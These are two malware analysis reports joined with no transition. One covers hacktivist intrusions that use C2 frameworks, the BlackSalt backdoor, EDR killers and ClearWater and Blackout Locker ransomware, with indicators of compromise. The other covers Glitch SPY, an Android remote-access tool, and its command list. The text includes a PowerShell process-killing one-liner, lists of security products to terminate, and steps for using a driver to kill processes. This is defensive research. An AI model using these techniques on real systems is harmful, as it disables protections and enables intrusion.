We also discovered a previously undocumented backdoor, dubbed BlackSalt, which contacts the C2 server to fetch commands and executes them via cmd.exe.

Sliver

On several hosts, following the initial Microsoft Exchange server compromise, files named upd.exe, winhost.exe, update1.exe, update.exe, and akolo.exe were dropped alongside the previously mentioned fd.aspx files and scripts. All of them were located in the C:\Windows\System32\inetsrv\ directory and were configured as SFX archives with nearly identical payloads, which ran an install.bat script upon extraction.

The script copies the malicious components into the Windows folder and installs servicechecker.bat as a system service. To do this, it leverages the legitimate Windows Service Wrapper (WinSW) utility included in the archive under the filename backupsrv.exe. The archive also contains the WinSW configuration file, backupsrv.xml, which specifies exactly which script should be registered as a service. Once installed, servicechecker.bat is configured to run automatically on system boot.

The servicechecker.bat script, in turn, runs backupagnt.exe, a loader for the main malicious component housed in WindowsInternal.UpdateComponent.dll. This file was built with the help of the Donut utility and is encrypted with a simple single-byte XOR key (0x0F). Its primary job is to inject the Sliver code straight into the device’s memory.

All Sliver instances uncovered during this investigation were configured to communicate with the C2 server at 185.221.153[.]121 over mTLS.

Havoc

Inside a similar SFX archive located in the user directory $user\desktop\ under the filename demon.x64.exe, we found another post-exploitation framework: Havoc. This instance was configured to communicate with the C2 server at 77.72.85[.]62.

Apollo

Mythic Apollo is a cross-platform post-exploitation agent used within the Mythic framework to manage compromised systems. It provides a persistent connection to the C2 server, executes operator commands, handles file uploads/downloads, runs arbitrary code, and supports expansion via plugins. We previously provided a detailed breakdown of the Mythic framework in our post, Hunting for Mythic in Network Traffic.

Here is an example of the Mythic Apollo configuration we encountered in these hacktivist attacks:

This specific sample of the .NET Mythic Apollo agent was compiled with an extensive suite of modules and supports multiple transport profiles that enable communication via HTTP, TCP, WebSocket, SMB, named pipes, and web shells. The C2 address 77.72.85[.]62 is hardcoded into its configuration.

Adaptix

AdaptixC2 is another post-exploitation framework in the attackers’ arsenal. This is a relatively new open-source project, which we broke down in our post, Adapt or pay:an analysis of the AdaptixC2 framework.

The agent samples discovered during our investigation into these hacktivist campaigns consist of a packed AdaptixC2 Beacon delivered via a custom x64 loader. Upon execution, the payload decrypts an embedded shellcode, allocates memory, and executes the malicious payload using the CreateThread WinAPI function. Packed inside the shellcode is the AdaptixC2 Beacon agent in DLL format, featuring a configuration encrypted using RC4.

According to the AdaptixC2 classification system, this agent falls under the BEACON_HTTP type. It is capable of executing commands, performing file operations, enumerating and killing processes, launching new programs, and exfiltrating data back to the C2. It also supports SOCKS port forwarding and BOF modules.

AdaptixC2 uses encryption to keep its configuration under wraps. The corresponding block contains the data size, the actual RC4-encrypted configuration, and a 16-byte key.

BlackSalt Backdoor

During the investigation, we also came across target infrastructures running vulnerable versions of Microsoft Exchange where – much like the Sliver cases – SFX archives named WindowsServiceHelper.exe were discovered in the C:\Windows\System32\inetsrv\ directory. Once extracted, the archive executed an install.bat file.

Similar to the other archives of this type, the script uses the WinSW utility to install the malicious components. In this specific case, however, the primary payload is a file named svc.exe, which turns out to be an obfuscated backdoor written in VBS. Much like the deployment scripts used for the remote management utilities, the code of this setup BAT script was clearly put together with AI tools and features comments in Ukrainian.

The backdoor is essentially a textbook reverse shell. Its capabilities boil down to fetching commands from the C2 server at 45.150.109[.]2, executing them via cmd.exe, and piping the output back to the C2.

EDR killers

In their attacks, the threat actors deploy what are known as EDR killers: malicious tools designed to disable security software on the system. In the vast majority of cases, these utilities rely on the BYOVD technique.

On the hosts compromised during these hacktivist operations, we discovered samples named kil.exe and Killer.exe. These are modified versions of the public, Rust-based BYOVD project EDRKiller. The attackers streamlined the utility to act strictly as a client for the driver and expanded the hardcoded list of security processes to terminate. The sample targets the vulnerable Warsaw_PM driver, though it lacks the functionality to load the driver itself – the attackers drop it onto the system separately.

The general workflow plays out as follows:

1. In user mode, the program finds the PID of the target process.
2. It opens a handle to \\.\Warsaw_PM.
3. It constructs a buffer containing the target process’s PID.
4. It calls DeviceIoControl.
5. The driver executes the calls:
   • ZwOpenProcess;
   • ZwTerminateProcess.

The EDR killer continuously enumerates processes, repeatedly sending the IOCTL and terminating the target processes every single time they pop up.

Both kil.exe and Killer.exe share the exact same list of processes targeted for termination:

MsMpEng.exe, SenseIR.exe, SenseNdr.exe, SenseCncProxy.exe, SenseSampleUploader.exe, NisSrv.exe, avp.exe, kavfs.exe, bdagent.exe, bdservicehost.exe, vsserv.exe, AvastSvc.exe, AvastUI.exe, aswidsagent.exe, avgsvc.exe, mfemms.exe, mfefire.exe, mfevtps.exe, dwengine.exe, dwservice.exe, elastic-agent.exe, elastic-endpoint.exe, Sysmon.exe, wazuh-agent.exe, ipban.exe

Another utility used to kill security software processes is ghostdriver.exe, an unmodified build of the open-source project GhostDriver. In this case, the attackers simply pulled a version straight from GitHub and didn’t modify any of its code.

The tool operates through the following stages:

1. Identify target processes
   The program takes a list of process names (such as msmpeng.exe) via command-line arguments. If no list is specified, it falls back to a default set.
2. Enumerate system processes
   To locate PIDs, the tool relies on standard Windows APIs:
   • CreateToolhelp32Snapshot
   • Process32First
   • Process32Next
3. Generate a list of processes to kill.
4. Load the vulnerable driver
   This is the core phase of the utility’s operation. During this step:
   • The sys driver is written to disk.
   • A SERVICE_KERNEL_DRIVER type service is created.
   • The driver is kicked off via the Service Control Manager (SCM).

GhostDriver.sys is hardcoded inside the GhostDriver executable and is a binary driver known as RentDrv2 (BadRentdrv2).

It contains the CVE-2023-44976 vulnerability, which allows it to:

• Accept user-mode commands via DeviceIoControl.
• Perform operations on processes from kernel mode.
• Bypass security mechanisms, including Protected Process.

Upon execution, GhostDriver drops RentDrv2 to disk, loads it into the Windows kernel, and connects to it via the virtual device \\.\rentdrv2. The utility then issues command 0x22E010 to the driver, passing along the target process ID, and the driver terminates that process directly from kernel mode.

GhostDriver runs in a continuous loop. Every ~700 ms, it rescans for the target processes and sends out termination commands.

After the driver starts up, the utility attempts to delete the ghostdriver.sys file. To do this, it opens a file handle, uses the SetFileInformationByHandle WinAPI function to rename it to something like :GhostDriver, reopens the handle, and marks the file for deletion via FileDispositionInfo. Before wrapping up, it also tries to stop and remove the driver service, and delete the C:\rentdrv.log file where the driver writes its logs.

Example of the adversary command execution launching GhostDriver:

Current versions of Kaspersky products are resilient to these types of attacks: the utilities described in this post cannot terminate their processes.

Connection to the ClearWater ransomware

Alongside the previously described Mythic Apollo samples (C2: 77.72.85.62), backupagnt.exe loaders, and Panorama9 deployment scripts, we discovered a new ransomware strain named ClearWater across several compromised infrastructures. Written in C++ and compiled with GCC (MinGW), the sample is a 64-bit Windows executable. It features zero obfuscation; in fact, the binary wasn’t stripped of its DWARF debug information. This makes analyzing the sample significantly easier and points to either sloppiness or a lack of technical expertise on the developers’ part.

When executed, ClearWater logs its progress in a separate console window.

File encryption

Like most ransomware strains, ClearWater is a Trojan designed to locate and encrypt the victim’s files. The Trojan executable contains a hardcoded RSA-2048 primary public key in PEM format.

For every file it processes, the ransomware generates a new 32-byte key and a 12-byte nonce – though only 8 of those 12 bytes are actually used – and encrypts the file’s contents via the ChaCha20 symmetric algorithm. The ChaCha key is then RSA-encrypted and appended to a specific data structure at the end of the file. To pull this off, the malware leverages cryptographic implementations from the open-source libsodium library.

struct
{
	uint8_t label[4];			//'M', 'Y', 'E', 'K' marker
	uint32_t rsa_encr_size;		//size of RSA-encrypted data
	uint8_t rsa_encr_data[256];	//RSA-encrypted ChaCha key
};

The Trojan processes all files except those with a .txt extension. This approach can easily break installed software, as it blindly encrypts both libraries and executables; however, it does explicitly skip the system directory during its search. Encrypted files are additionally appended with the .clear extension. The malware scans for targets on local drives as well as SMB network shares, which it maps out by using the net view command.

Additional functionality

Within every directory it processes, the Trojan drops the attackers’ demands into a file named CLEARWATER_README.txt.

Additionally, by modifying the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, the malware sets up a persistence mechanism that automatically opens the ransom note with notepad.exe on startup.

ClearWater is distributed inside a self-extracting archive. The extraction script runs in silent mode (GUIMode=”2″), escalates privileges via a UAC prompt, drops the Trojan at C:\ProgramData\ClearWater_x64.exe, and kicks it off. Once the ransomware finishes running, the SFX archive cleans up after itself and wipes the original archive (SelfDelete=”1″).

Alongside this script and the Trojan executable, the archive includes a BMP image. The ransomware sets this image as both the desktop wallpaper (by tweaking the HKEY_USERS\<…>\Control Panel\Desktop\Wallpaper registry key and calling SystemParametersInfoA with the SPI_SETDESKWALLPAPER parameter) and the lock screen background (by modifying the LockScreenImagePath and LockScreenImageUrl values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP).

To complicate system recovery after the attack, ClearWater performs several actions typical of ransomware:

• Deletes shadow copies using the following commands:
  
• Wipes the backup catalog and disables Windows Restore:
  
• Removes restore points:
  
• Disables the system startup recovery option:
  

ClearWater also features a kill_all_non_whitelisted_processes() function designed to terminate active tasks, though it doesn’t actually call it during execution. This function leverages PowerShell to look up and kill any process whose name isn’t included in a hardcoded allowlist within the Trojan’s body. It uses the following PowerShell code to do this:

Get-Process|Where-Object{$w -notcontains $_.Name.ToLower()}|Stop-Process -Force

The exclusion list contains various essential system processes and breaks down as follows:

system, idle, smss, csrss, wininit, services, lsass, winlogon, svchost, explorer, dwm, shellexperiencehost, runtimebroker, trustedinstaller, tiworker, textinputhost, taskhostw, mousocoreworker, fontdrvhost, audiodg, sihost, spoolsv, taskeng, taskhost, searchui, securityhealthservice, startmenuexperiencehost, searchindexer, backgroundtaskhost, sppsvc, wmiprvse, wudfhost, vboxservice, vboxtray, vmtoolsd, vmwaretray, vboxguest, vmsrvc, vgauthservice, vmacthlp, qemud, qemu-ga, msdtc, searchprotocolhost, wlanext, dllhost, conhost, comppkgsrv, msmpeng, mssecflt, systemsettings, securityhealthsystray, nvtray, nvvsvc, ravbg64, igfxtray, igfxem, igfxcuiservice, igfxhk, igfxext

Updated Blackout Locker

In a previously published report (link in Russian) on collaborations between several hacktivist groups, we highlighted a tool called Blackout Locker. In late January 2026, the 4BID group ran a series of attacks against organizations in Russia using an updated version of this malware. This section breaks down the new version of Blackout Locker and covers its key characteristics uncovered during our analysis.

Rust dropper

The attackers use a dropper written in Rust to distribute Blackout Locker. Depending on the specific sample, the dropper first carries out a series of staging actions. It then writes the payload executable to …\Users\[USERNAME]\AppData\Local\Microsoft\[REDACTED].dat and swaps its extension to EXE by calling the Windows command prompt:

After that, it launches the renamed executable.

Blackout Locker

The primary tool deployed in the attacks in question is an updated version of Blackout Locker.

Our analysis revealed that the key difference in this new version is the addition of a screen locker component, which it drops and executes in tandem with the ransomware’s main background payload.

During the initial phase, the screen locker file is created under the following paths:

To launch the screen locker, several tasks are created:

The screen locker is also written to the following registry keys:

After this, two LNK files, SystemHelper.lnk and WindowsHelper.lnk, are created via PowerShell for subsequent execution:

• The first file is placed in the %PROFILEPATH%\All users\Start menu\Programs\Startup directory:
  
• The second file is placed in the %USERPROFILE%\Start menu\Programs\Startup directory:
  

As a result, a shortcut is created in the startup folder pointing to WindowsSystemHelper.exe located on the desktop. This ensures the screen locker appears every time the user logs in. Even if the victim enters the correct password into the locker window, it will keep popping back up; while the window itself closes after password entry, the corresponding task is never actually deleted.

Screen locker

During execution, Blackout Locker generates a file named README.txt, which the screen locker later references to pull the text displayed to the user. Some Blackout Locker samples drop a ransom note written in English:

On the lock screen, it may look like this:

Other samples deploy a ransom note in Russian:

If the program fails to read README.txt, it falls back to a hardcoded ransom message. If this fallback message is in Russian but the victim’s operating system lacks support for Cyrillic encodings, the loader’s on-screen output renders as garbled text.

Attack geography

The majority of the compromised infrastructures belong to Russian and Belarusian organizations, which aligns with the stated agenda of these hacker groups. However, for the first time, we identified victims in other countries with no relation to this agenda: Kazakhstan, the UAE, Syria, and Egypt. Within the network of a Kazakh aviation company, we detected multiple post-exploitation frameworks pointing to C2 servers at 77.72.85[.]62 and 185.221.153[.]121, traces of the Panorama9 and Tactical RMM platforms, and backupagnt.exe loaders. A similar footprint was observed in the infrastructure of an Egyptian hospital, though the familiar toolkit was augmented by the fd.aspx web shell. The remaining international victims exhibited a nearly identical combination of artifacts, with only minor variations.

While the primary targeting vector previously centered on Russia and Belarus, the threat actors now appear to be pivoting their attention toward the wider CIS region and the Middle East. This strategic shift correlates with a statement from a member of the 4BID group, who claimed that attacking Russia is no longer profitable.

Takeaways

The hacktivist groups discussed in this report are steadily expanding the geographical footprint of their campaigns, pushing beyond Russia and the wider CIS region. Alongside this expansion, we observe the growing use of ransomware and other tooling consistent with financially motivated operations, which may further influence their choice of victims.

This shift underscores the critical need for continuous threat landscape monitoring. To stay ahead of threat actors, organizations must look beyond the immediate risks facing their perimeter and proactively track emerging threats, including the tactics of groups targeting specific industry verticals or geographic regions.

Detection by Kaspersky solutions

Kaspersky solutions reliably detect the malicious activity in question at every stage of the malware lifecycle. This section outlines potential detection scenarios.
Publicly available dual-use software leaves numerous artifacts on targeted hosts, which helps Kaspersky Endpoint Detection and Response Expert trace the activity of these utilities.

For instance, network connections established with Panorama9 servers both during the initial software launch and throughout the tool’s operation trigger the panorama9_dns_activity rule. The Hunt Hub section of our TI Portal features detection rules for other event types and specific operating systems, searchable with the keyword panorama9. Similar rules exist for the other utilities described in this post: Tactical RMM, Nezha, and Dev tunnels.

GhostDriver.exe relies on an embedded vulnerable driver, which it drops onto the target host. The creation of these drivers is detected by the vuln_driver_created_by_unsigned_process rule family.

Ransomware is inherently quite noisy and so can be detected at various execution phases. The execution graph within Kaspersky Cloud Sandbox on our Threat Intelligence Portal visualizes the entire ClearWater execution chain, capturing key behaviors such as modifying the desktop wallpaper and deleting shadow copies.

Additionally, the Threat Lookup and Research Graph sections of Kaspersky Threat Intelligence Portal allow you to visualize and analyze the connections between the malicious domains and files used by the adversaries.

Monitoring network traffic is another highly effective method for detecting the malicious activity described here. Kaspersky Anti Targeted Attack (KATA) with the NDR module detects the network communications of all malware samples in question utilized throughout this campaign.

For instance, upon detecting HTTP network activity characteristic of the BlackSalt backdoor, the system triggers an alert for the Backdoor.BlackSalt.HTTP.C&C rule triggering.

Examples of using the Kaspersky Anti Targeted Attack (KATA) platform with the NDR module to detect other agents described here – along with their detailed technical analysis – are available in our dedicated reports on Adaptix and Mythic detection.

Indicators of compromise

Web shells
26100db3f56880110a92a2b4742d6eaf	fd.aspx
cf682a6fee80a78be578b1edd82627fa	fd.aspx
2d5533fb65ebb50a5a5fd53e62d73b9a	fd.aspx
fe04d230db612ea24af3826fda667131	fd.aspx
Scripts
2db94ee3ec69988588702bd77999a5d4	any_local.ps1
f88d2b5c3b885ad5a9c1c44551bccc60	main.ps1
1e1edf879b2dc6c9892a22bfa5985db1	main.ps1
78250fa890220821e2b91e31b965de59	main.ps1
f2af797ac45b9f578c53cc49e5797397	auto_dev.ps1
0c32bfdf83ecebe3a1399d261dc8ff57	auto_dev_test.ps1
e14cc9a959bbe16c48b8dff063b311f3	auto_dev_test_multimple_task.ps1
36b3be503c6e34613ff50cb28e0f3ddb	auto_dev_test_multimple_task.ps1
c12ebe625737ed0908b045e811f14ecd	tun.ps1, auto_dev_test_multimple_task.ps1
1c0924f5711a24821921de5ad822213b	grant.ps1
d78adab5e16c26d4cd14fe38f77e29e6	pan.ps1, pam.ps1
6cf548445c39aff844be96d73c89e376	test.ps1
911a21aa999c324dc960d3498eec528e	radiant.ps1
68e310de44c3165ffffa25bc495d6fc5
4f41a22b3e7469fb6b45a42d71ec7087
80e5bde401d6b0ca96015ae9cfeb6535
1c82a94c362a9e98a66ae57d6ff37900
fa04aeedc0d2f5bb6ed357fdae1c1435
AdaptixC2
555a6722436d7cf7de396e0c57d32a27
b974141ff9ad1efb60dd9e16977266ca
7da855b2fd9b52f9088e64d656164637
d08056c2ac28933d6843658c2c8c574f
038cab0c60c53cf12f048272014024c0
c183033d86d2e052b8eb0deb2136ab29
bc0ebf67986eea803b4c9633ed3a4bb5
18618f4b468ba4e64c2e1072a6da2134
1742a9fa35e253614b76ac0f687ba02e
c7eb6da3aa216816079a1b785097552a
3ee38b944e5c83922f99641846f7db0c
d8ff7f417d56fa2a3baf3c8933013a25
1ff222457f5e0e32adfa8341f260dde7
ede8ce887dd9ab7add0f0fc872d51369
1344e6bc51cea35befb4adff7a25899b
2a09162d72aa416e18bab46070043a13
841b7d3863b49f62d4faa9949ff5df38
1bd1ca848b15530e39792b4fe6f31367
Mythic Apollo
b36968b98046d1b033d84f292e7ca1cb
663a479d6d24c767f1d3229a0a91554b
54a308f734095d54ae0e1c86c849a2d8
3137958eb830186826d486afd9222aee
1d09499cb2d7d70df903b60602a58887
d74262f968dc3f378c4021a89d16a292
3d9cbc944f9a9e127550ffb4e8394965
bcd3859f4ddd72c4690d76c3b4ef8955
3a9b0875fc692944c180b165a83a0d17
c558e6a9d0a697c757aa6d7782e269c9
61647db645f7cc221046999ef1dbe1d1
02493e1cb684be6a1a1fc6334a56c516
a3dba01c76571adc0797801ff30f2b90
3f4fbba101b209b00e70787fd5bab819
cd0c5b9e4e47df4231d02ed87ff49f26
b8a13e808b5b5f1836d3e559755139d0
60f8b115aec8a13b0069efc84fc645f5
da55b5612a80ef20ec75b68151e7ff4b
7d35b4961914ad83a57f8832d8e870d8
334abbdc99d359aab2ea371dd4eda5f2
389a1bbdbf5c91bd1c179227f5ae0923
87d48fbccb4aaee95222e215ecb7ebec
76c819185e3c8b8557a2c3986ab80a7c
6d19c8eea11d50c01d20f18382a964d1
Other C2 frameworks
8db0adf8fd6dc6195d7ae55e37e49f97
08f3a14a2337eb9936c38f5159be007c
717ab7624c192f6f8dd38994116c28dc
d1c51b92939aa168f0951a8368841373
5398b7eaa94f0ee570b1c5642b559047
d65a79ea9257637c77cab6e087468912
008cd423ca45134d3343f66cced1d104
9741672506f26813c71839aaa6aa3882
06bed0a0906e52c764b3b7016d6a4428
upd.exe (SFX archive)
08c069f133ac27cbc02a0ed79e4e87ba	upd.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
update1.exe (SFX archive)
10824d14c814524155f2b529cf5fee43	update1.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
akolo.exe (SFX archive)
242038139842ec79ec1044c64eb0804a	akolo.exe
53ba13cc6066adfd67f8098c0a5b8dde	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
update.exe (SFX archive)
84bb66a982710c5536143a07d84e8749	update.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
akolo.exe (SFX archive)
fa3c222f6b53d6a2e35a54600f6aa011	akolo.exe
0b1870d57221eec6f3bbef648e71a724	backupagnt.exe
5e81f72614db42615489266be11b1d09	sliver
akolo.exe (SFX archive)
4c8a0531653b5398a35c6b1b80ff1350	akolo.exe
83f66862c0cc40da20236fd6b47138fd	backupagnt.exe
5e81f72614db42615489266be11b1d09	sliver
[REDACTED].exe (SFX archive)
56be07e46fd452315008ed246ebbf52b	[REDACTED].exe
579e8bbd6a5bcca89b5acd6fb5db32db	backupagnt.exe
dd8fea244afc8223b961f1d9d6ac8c5d	Apollo
WindowsServiceHelper.exe (SFX archive)
09d0517a1f69feff8186655ae3b567e0	WindowsServiceHelper.exe
62123c39477389d500e74e82782adea5	BlackSalt Backdoor
winexe.exe (SFX archive)
6d365de5c5a13006b7cadd6bc6876e84	winexe.exe
2f40bcee90abed0898e92521da17e52d	BlackSalt Backdoor
WindowsServiceHelper.exe (SFX archive)
6dfef58ef68fb7965a23da8be3141af9	WindowsServiceHelper.exe
56d1de3159adbfda20aca593c99901f9	BlackSalt Backdoor
[REDACTED].exe (SFX archive)
96dbdc2651d829bf9ba35674dd4bfcae	[REDACTED].exe
129225b3e93c17f131bcc2a982ffb09a	BlackSalt Backdoor
test.exe (SFX archive)
9f37fff7e5d22f83fc1c0872ad5332f9	test.exe
cf54f6cbdb4dbf1ce6fc2e5be4ca3b20	BlackSalt Backdoor
1.exe (SFX archive)
e99efd77392e2b4fe4d9bf5728a12b98	1.exe
129225b3e93c17f131bcc2a982ffb09a	BlackSalt Backdoor
WindowsServiceHelper.exe (SFX archive)
f2dc794bf93887e281ad89209493065a	WindowsServiceHelper.exe
2f40bcee90abed0898e92521da17e52d	BlackSalt Backdoor
EDR killers
d13997b1716e4c82ab454285202eafdc	killer.exe, 2.exe
ecb57d8793514aa02314417265b1853f	kil.exe, 3.exe
3b974ff986445e5944c51179d19bd6be	GhostDriver.exe

Network indicators
212.46.12[.]182
185.221.153[.]121
77.72.85[.]62
45.150.109[.]2
130.49.155[.]112
45.112.194[.]82
138.226.236[.]52
85.137.253[.]186

Executive Summary

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.

Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, targeting users in Poland or Polish expats.

The downloaded application functions as a dropper and installs the Glitch SPY payload after convincing the user to allow installation from unknown sources. Glitch SPY prompts the victim to enable Android Accessibility Service, which it abuses to automate permission grants, interact with the device UI, extract visible screen content, perform gestures, support remote input, and enable further post-infection activity.

Glitch SPY maintains a persistent WebSocket channel to its C&C server and supports over 70 commands spanning live screen streaming and remote control, screenshot and screen-reader capture, SMS, contact, call log, and location theft, camera and microphone surveillance, keylogging, file management, and shell execution.

Beyond standard surveillance, it includes a crypto-clipper that swaps copied wallet addresses across multiple blockchain formats, file encryption/decryption routines, device-unlock and credential-capture logic, and a hidden remote-browser capability that lets attackers conduct web-based account takeover from the victim's own device and IP.

The Builder module lets operators set a custom app name, package ID, icon, and decoy URL per payload, indicating the platform is designed for redistribution across multiple campaigns, not a single targeted operation.

Key Takeaways

• Glitch SPY is an emerging Android RAT/builder platform identified through branding observed on an exposed C&C admin panel.
• The malware is distributed via a fake Polish rental app website that encourages users to download and install an APK outside official app stores.
• The downloaded application is the Brokewell Android Loader, which acts as a dropper and deploys the Glitch SPY payload.
• Glitch SPY heavily abuses the Android Accessibility Service to auto-grant permissions, extract on-screen content, perform taps and gestures, and operate the device with minimal user interaction.
• Glitch SPY supports extensive surveillance and theft capabilities, including screen streaming, screenshots, keylogging, SMS theft, contact and call log collection, file access, audio and camera capture, clipboard monitoring, location tracking, and remote browser control.
• The malware includes a crypto-clipper that swaps copied wallet addresses across multiple formats (ETH/EVM, TRON, Bitcoin legacy, and Bech32) with attacker-controlled addresses, directly targeting cryptocurrency users.
• The exposed Glitch SPY panel confirms the presence of modules such as Agents, Viewer, Builder, Cryptor, Dropper, Settings, and Payloads.
• The Builder module indicates that threat actors can generate customized Android payloads with configurable names, package IDs, icons, feature modules, decoy WebView URLs, and optional Telegram alerting.

Overview

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, based on branding observed on an exposed command-and-control (C&C) admin panel. The malware was distributed via the suspicious domain tutaj-dompl[.]com, which appears to be a Polish apartment and house rental platform.

The website advertises verified apartments, viewing reservations, direct contact with property owners, and a simplified rental process without broker commissions. Its primary objective is to encourage users to download an Android APK to reserve apartment viewings, check availability, save listings, and receive confirmation updates.

The lure is socially plausible, as users searching for rental properties may install a dedicated application to secure viewing slots or communicate with property owners. Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, particularly targeting users searching for rental properties in Poland.

Once installed, the application displays the rental-themed website as a decoy interface, while the Glitch SPY payload runs in the background and initiates malicious activity.

During analysis, the malware was observed communicating with the C&C domain sportypointsrewards[.]com. Accessing the C&C infrastructure revealed an admin login panel branded as Glitch SPY, which prompted for a username and password. We also identified an additional Glitch SPY admin panel URL gich[.]etherraffleexchange[.]us.

However, no communicating APK associated with that second panel has been recovered at the time of analysis.

Before authentication, the admin panel exposed a partial view of the Glitch SPY dashboard, revealing multiple modules, including:

• The Agents module appears to be designed to list infected devices and search for victims by name, agent ID, device details, or IP address.
• The Viewer module provides live screen viewing and remote-control operations, including remote input, pattern unlock, screen streaming, screenshots, screen-reader extraction, Android navigation controls, camera access, audio capture, keylogging, clipper operations, file management, SMS access, contacts, call logs, location tracking, installed applications, device accounts, system information, remote browser interaction, shell access, permission prompting, Device Admin control, biometric prompt suppression, app hiding, and self-uninstall functionality.
• The Builder module allows TA to configure and compile Android payloads using Gradle on the server. Configurable options include the application name, package name, launcher icon, version information, foreground notification text, decoy WebView URL, feature modules, Device Admin activation, and Telegram alert settings.
• The Cryptor module is present but marked as “Coming soon,” suggesting planned support for APK repacking, fresh signing, payload noise under assets, and mirror obfuscation layers while preserving installability.
• The Dropper module appears to allow TA to wrap a generated payload inside a separate dropper APK, supporting staged delivery.
• The Payloads module appears to store APKs generated by the Builder and Dropper modules.

Once the user installs the downloaded application, it functions as a dropper and presents a fake update-style screen to guide the victim through the required installation and permission steps. The dropper first attempts to convince the user to allow installation from unknown sources. After this permission is granted, the Glitch SPY payload is installed on the device.

After installation, Glitch SPY prompts the user to enable the Android Accessibility Service. Once Accessibility access is enabled, the malware abuses this capability to automate permission grants and continue its post-installation activity with minimal user interaction.

This allows Glitch SPY to obtain the permissions required for remote control, screen capture, keylogging, SMS theft, file access, camera and microphone surveillance, clipboard monitoring, and other intrusive operations.

A detailed technical analysis of these capabilities is provided in the following section.

Technical Analysis

The application downloaded from the fraudulent website was identified as the Brokewell Android Loader, based on its package naming pattern and its use of techniques designed to circumvent Android permission restrictions. CRIL first documented the Brokewell Android Loader and the Brokewell Banking Trojan in April 2024.

After installation, the loader presents a fake update-themed screen and prompts the user to allow installation of applications from unknown sources. Once the user grants this permission, the loader installs the Glitch SPY payload on the device.

Abuse of Android Accessibility Service

Following installation, Glitch SPY immediately attempts to obtain Android Accessibility Service access, which is required for several of its core capabilities. After the user enables the Accessibility Service, the malware abuses this permission to observe UI elements, interact with on-screen content, perform gestures, click buttons, extract visible text, and automate permission approval flows with limited user interaction.

The malware includes logic for remote tap and swipe actions, screen-reader text extraction, gesture dispatch, automated permission granting, keyguard interaction, PIN/password entry, pattern unlock assistance, biometric prompt handling, and force-stop or uninstall interruption. This makes Accessibility the primary mechanism Glitch SPY uses to support TA-driven control of the infected device and to continue post-installation activity.

Command and Control

After installation, Glitch SPY starts its core C&C service and establishes a persistent WebSocket-based communication channel with the command-and-control server. The malware Glitch SPY refers to the device as an agent, assigns an agent_id to the infected device, collects device metadata, and sends an initial hello message along with deviceInfo to register the infected device with the C&C panel. The server responds with a hello_ack, after which the implant maintains connectivity using heartbeat and ping logic.

The implant executes the requested action locally and returns the output through response messages such as command_result, screen_frame, sms_data, contacts_data, file_list, and browser_command_result.

The complete list of commands is provided below.

Command	Feature
request_screen_stream	Starts live screen streaming from the infected device to the C&C panel.
stop_screen_stream	Stops the active screen-streaming session.
request_screenshot	Captures a screenshot of the infected device screen and returns it to the C&C.
request_screen_reader_text	Uses Accessibility to extract visible on-screen text and send it to the C&C Server.
request_sms	Collects SMS messages from the infected device.
send_sms	Sends an SMS message from the infected device using TA provided content.
request_contacts	Extracts the victim’s contact list.
request_call_log	Collects call history from the infected device.
request_location	Retrieves the device location.
request_app_list	Enumerates installed applications on the device.
request_device_accounts	Collects account information configured on the Android device.
request_system_info	Collects device metadata
request_file_list	Lists files and folders from a specified path on the device.
request_file_download	Downloads a selected file from the infected device to the C&C.
request_folder_zip_download	Compresses a folder and prepares it for download
file_upload_start	Starts a file upload session.
file_upload_chunk	Transfers a chunk of a file being uploaded to the infected device.
file_upload_finish	Finalizes the file upload operation on the device.
file_upload_cancel	Cancels an active file upload session.
file_mkdir	Creates a new directory on the infected device.
file_rename	Renames a selected file or folder on the device.
file_run	Opens or executes a selected file on the infected device.
file_zip_here	Creates a ZIP archive next to the selected folder on the device.
file_crypto_lock	Encrypts a selected file, likely producing a .enc file and removing the original.
file_crypto_unlock	Decrypts a previously encrypted .enc file.
request_offline_keylog	Retrieves offline keylog data from the device.
start_keylogger	Starts keylogging
stop_keylogger	Stops the active keylogging module.
request_camera_stream	Starts camera streaming from the infected device.
stop_camera_stream	Stops the active camera stream.
start_audio	Starts audio capture from the infected device.
stop_audio	Stops audio capture.
start_clipboard_monitor	Starts monitoring the device clipboard.
stop_clipboard_monitor	Stops clipboard monitoring.
clipper_get_config	Retrieves the current crypto-clipper configuration from the device.
clipper_set_config	Pushes or updates clipper rules, likely including wallet replacement addresses.
clipper_inject_clipboard	Forces/injects clipboard content on the victim device.
execute_command	Executes a TA-provided shell command on the infected device.
remote_browser_start	Starts a remote browser session on the infected device.
remote_browser_stop	Stops the remote browser session.
remote_browser_navigate	Navigates the remote browser to a supplied URL.
remote_browser_click	Performs a click action inside the remote browser session.
remote_browser_text	Enter the TA-provided text into the remote browser.
remote_browser_swipe	Performs a swipe gesture inside the remote browser session.
remote_browser_key	Sends keyboard key actions to the remote browser, such as Enter, Backspace, Tab, or arrow keys.
remote_browser_js_fill	Fills fields in the remote browser using JavaScript-style automation.
remote_browser_clear_field	Clears a selected input field in the remote browser.
remote_browser_action	Performs a generic browser-side action, likely used for submit, back, reload, or similar UI actions.
remote_browser_set_mode	Switches the remote browser view mode, such as desktop/mobile mode.
remote_browser_fps	Adjusts the remote browser streaming or update frame rate.
tap_ui_submit	Attempts to tap a visible submit/OK/Done button or sends Enter to submit the current UI.
pattern_fetch	Retrieves a stored Android unlock pattern from the malware/device-side store.
pattern_store	Saves a TA-provided Android unlock pattern for later reuse.
pattern_clear_store	Clears the saved unlock pattern from storage.
pattern_auto_unlock	Uses a saved or provided pattern to attempt automatic device unlock.
credential_fetch	Retrieves a stored PIN/password credential value or credential state.
credential_manual_save	Saves a PIN/password credential provided by the TA on the device side.
credential_manual_save_unlock	Saves a supplied credential and immediately attempts to unlock the device with it.
credential_auto_unlock	Attempts to unlock the device automatically using a previously captured or saved credential.
credential_clear	Clears the stored PIN/password credentials from the malware’s storage.
